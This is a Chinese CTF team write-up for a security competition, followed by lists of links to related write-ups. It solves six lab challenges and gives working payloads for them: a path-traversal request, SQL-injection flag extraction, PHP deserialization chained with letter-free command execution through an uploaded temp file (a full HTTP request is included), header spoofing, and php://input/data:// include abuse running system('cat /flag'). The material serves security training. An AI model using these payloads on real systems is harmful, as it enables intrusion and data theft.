一、 战队信息

战队名称:20221214

战队排名:1

二、 解题过程

ctf1

用Winhex打开,最后有一串编码字符,拿去一把梭即可。

ctf2

目录穿越

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag

ctf3

仔细观察可以看到url编码后的SQL注入语句,mid用于截取字符串,当出现welcome admin!说明该字符正确,将正确的字符逐个写入到C脚本变量中,输出得到flag。

char a[] = {102,108,97,103,123,99,49,52,50,54,53,97,53,51,98,101,99,49,56,52,56,98,102,97,99,50,100,102,100,97,51,101,54,54,55,98,99,125};
cout << a;

ctf4

打开网页,一个简单的反序列化+困难的无字母数字RCE,序列化代码如下:

class icunqi{
public $code = "ls"; //要执行的代码
} $ta = new icunqi();
echo urlencode(serialize($ta));

将得到的一串字符放入 ?code=后即可。

无字母数字RCE可以使用PHP任意文件上传漏洞,即向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件:

  • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
  • 文件名为 php[6个随机字符],例:phpG4ef0q

HTTP请求如下:

POST /?code=O%3A6%3A%22icunqi%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22%2F%3F%3F%3F%2F%5B%60-%7B%5D%22%3B%7D HTTP/1.1
Host: 39.106.48.123:28692
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Connection: close -----------------------------7dbff1ded0714
Content-Disposition: form-data; name="file"; filename="test.txt" #!/bin/sh whoami
-----------------------------7dbff1ded0714--

在上传文件的同时执行 . /???/????????[@-[ 即可有概率执行 whoami,多尝试几次即可。

随后执行 ls,看到包含flag的文件,cat 即可得到 flag。

ctf5

根据提示,在请求头添加 X-Forward-For:1.1.1.1,得到flag。

ctf6

打开页面,看到提示: flag in cream,打开/cream.php,感觉考察的是代码审计。

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){
die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?>

简而言之就是通过 get 可以提交两个变量:filecontent。PHP首先根据 file 为路径打开一个文件,然后把 content 写进去(从文件头开始),之后再执行文件里的代码。

但其实,我尝试了几个 file 都写不进去,于是尝试 php 伪协议,get 参数为?file=php://input,方法改为POST,请求体为 data://text/plain,<?php phpinfo();得到 phpinfo

phpinfo() 改为 system('cat /flag') 即可得到 flag。

电科院密码保密与信息安全竞赛网络攻防宣传赛 Writeup的更多相关文章

  1. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  2. 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

    审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...

  3. 长安“战疫”网络安全卫士守护赛writeup

    一. 解题情况 二. 解题过程 题目一 八卦迷宫 用画图工具手工连接,然后将路上的图表和字相对应 按顺序打出,然后根据题目要求换成全拼,加上图片里的前缀cazy{}提交 flag为: cazy{zha ...

  4. 浙江省第三届大学生网络与信息安全竞赛WP

    title: 浙江省第三届大学生网络与信息安全预赛WP date: 2020-10-2 tags: CTF,比赛 categories: CTF 比赛 浙江省第三届大学生网络与信息安全竞赛WP 0x0 ...

  5. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  6. 20155334 《网络攻防》 Exp9 Web安全基础

    <网络攻防> Exp9 Web安全基础 一.实验后回答问题 SQL注入攻击原理,如何防御: 原理: 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服 ...

  7. Kali Linux——迈向网络攻防

    自从进入大三的课程后,在已学的高数.线代.数论.概率论.信息论.通信等知识的技术上,开始了网络信息安全.网      络攻防的学习.俗话说得好,磨刀不误砍柴工,开始网络攻防之旅也势必要一个好的工具.然 ...

  8. 2016中国大学生程序设计竞赛 - 网络选拔赛 C. Magic boy Bi Luo with his excited tree

    Magic boy Bi Luo with his excited tree Problem Description Bi Luo is a magic boy, he also has a migi ...

  9. 网络攻防工具介绍——Wireshark

    网络攻防工具介绍 Wireshark 简介 Wireshark(前称Ethereal)是一个网络封包分析软件.它是一个理想的开源多平台网络协议分析工具.网络封包分析软件的功能是撷取网络封包,并尽可能显 ...

  10. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

随机推荐

  1. itext 生成 PDF

    itext 生成 PDF(一) 转自:https://blog.csdn.net/lcczpp/article/details/125424395   itext生成PDF excel 示例  转自: ...

  2. ABP模块的测试项目从默认的Microsoft SQL Server替换成MySQL

    1.替换项目引用 2.重新生成解决方案 3.删除Migrations 4.模块的引用 替换成:AbpEntityFrameworkCoreMySQLModule 5.命名空间 替换成:Volo.Abp ...

  3. 我的第一个项目(八):(解决问题)图片资源无法加载(Error: Cannot find module "../../xxx" )

    好家伙,问题一堆   先开一个测试页模拟游戏模块的运行 原先的图片初始化方法失效了,(vue里面自然是用不了这种方法的) function createImage(src) { let img; if ...

  4. 【Azure 应用服务】Python Function App重新部署后,出现 Azure Functions runtime is unreachable 错误

    问题描述 Python Function App重新部署后,出现 Azure Functions runtime is unreachable 错误 问题解答 在Function App的门户页面中, ...

  5. C++之指针变量的定义和使用

    从b站上黑马程序员的c++课里学到的C++之指针变量的定义和使用 指针变量的定义和使用 简单理解指针就是地址. 内存编号是从0开始记录的,一般用16进制数字表示 1 #include <iost ...

  6. Java 抽象类 练习

    1 package com.bytezreo.template; 2 3 import java.util.Calendar; 4 import java.util.Scanner; 5 6 /** ...

  7. Java面试必考题之线程的生命周期,结合源码,透彻讲解!

    写在开头 在前面的几篇博客里,我们学习了Java的多线程,包括线程的作用.创建方式.重要性等,那么今天我们就要正式踏入线程,去学习更加深层次的知识点了. 第一个需要学的就是线程的生命周期,也可以将之理 ...

  8. Zabbix6.0使用教程 (四)—zabbix6.0从源代码安装

    接上篇zabbix部署安装前置要求,本期我们将先讲讲如何从源代码安装zabbix6.0,还在为如何安装使用zabbix的小伙伴可以仔细看看. 一. 安装Zabbix守护进程 1 下载源代码压缩包 前往 ...

  9. Jetpack Compose(3) —— 状态管理

    上一篇文章拿 TextField 组件举例时,提到了 State,即状态.本篇文章,即讲解 State 的相关改概念. 一.什么是状态 与其它声明式 UI 框架一样,Compose 的职责非常单纯,仅 ...

  10. vscode 两种定位跳转的方法 ctrl+p 方法1 path:行号 方法2 #变量名 - 针对$store变量不好找的方案 方法1可以备注在代码里面

    vscode 两种定位跳转的方法 ctrl+p 方法1 path:行号 方法2 #变量名 - 针对$store变量不好找的方案 方法1可以备注在代码里面 问题 $store的变量不能跳转,有跳转插件也 ...